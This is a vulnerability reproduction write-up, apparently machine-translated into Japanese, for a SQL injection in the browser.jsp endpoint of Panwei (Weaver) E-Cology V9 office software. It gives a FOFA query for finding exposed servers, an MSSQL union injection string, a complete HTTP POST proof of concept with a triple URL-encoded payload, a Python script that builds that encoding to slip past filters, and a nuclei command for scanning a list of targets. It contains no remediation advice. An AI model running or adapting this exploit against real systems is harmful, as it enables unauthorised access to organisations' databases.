脆弱性再発 Panmicro OA E-Cology V9 browser.jsp SQL インジェクションの脆弱性
脆弱性の説明
Panwei の新世代モバイル オフィス プラットフォーム e-cology は、統合された共同作業プラットフォームを提供するだけでなく、電子組織化のプロセス全体を徐々に実現し、紙の文書と物理的な署名の従来の方法を変えます。Panwei OA E-Cology プラットフォームのbrowser.jsp には SQL インジェクションの脆弱性があり、攻撃者はこれを介してサーバー データベースの権限を取得できます。
脆弱性の再発
fofa:app="泛微-协同商务系统"
1. POC を使用して現在のデータベース バージョンを表示し、結果を返します。
1.MSSQL命令:
a' union select 1,''+(SELECT @@VERSION)+'
2.POC
POST /mobile/%20/plugin/browser.jsp HTTP/1.1
Host: {
{
Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 649
DNT: 1
Connection: close
Cookie: ecology_JSessionid=aaaDJa14QSGzJhpHl4Vsy; JSESSIONID=aaaDJa14QSGzJhpHl4Vsy; __randcode__=28dec942-50d2-486e-8661-3e613f71028a
Upgrade-Insecure-Requests: 1
isDis=1&browserTypeId=269&keyword=%2525%2536%2531%2525%2532%2537%2525%2532%2530%2525%2537%2535%2525%2536%2565%2525%2536%2539%2525%2536%2566%2525%2536%2565%2525%2532%2530%2525%2537%2533%2525%2536%2535%2525%2536%2563%2525%2536%2535%2525%2536%2533%2525%2537%2534%2525%2532%2530%2525%2533%2531%2525%2532%2563%2525%2532%2537%2525%2532%2537%2525%2532%2562%2525%2532%2538%2525%2535%2533%2525%2534%2535%2525%2534%2563%2525%2534%2535%2525%2534%2533%2525%2535%2534%2525%2532%2530%2525%2534%2530%2525%2534%2530%2525%2535%2536%2525%2534%2535%2525%2535%2532%2525%2535%2533%2525%2534%2539%2525%2534%2566%2525%2534%2565%2525%2532%2539%2525%2532%2562%2525%2532%2537
2. 次のように、3 つの URL 完全文字で暗号化された小さなスクリプトを作成して使用します。
1命令:
python Fanwei_e-cology9_decode_three.py
2.脚本
import os
def main():
clearFlag = "y"
while(1):
if clearFlag == "y" or clearFlag == "Y":
os.system("cls")
clearFlag = ""
string = input("请输入需要转换的字符串 :")
type = input("(输入1:进行三次url全字符编码 ) :")
while(type != "1"):
type = input("操作类型输入错误(输入1:进行三次url全字符编码) :")
if type == "1" :
for i in range(3):
string = encode(string)
encode_string = string
print("编码结果为:"+encode_string+"\n")
#编码
def encode(string):
encode_string = ""
for char in string:
encode_char = hex(ord(char)).replace("0x","%")
encode_string += encode_char
return encode_string
main()
2. 核の検証
nuclei.exe -t FanWeiOA_E-Cology9_browser_SQL.yaml -l subs.txt -stats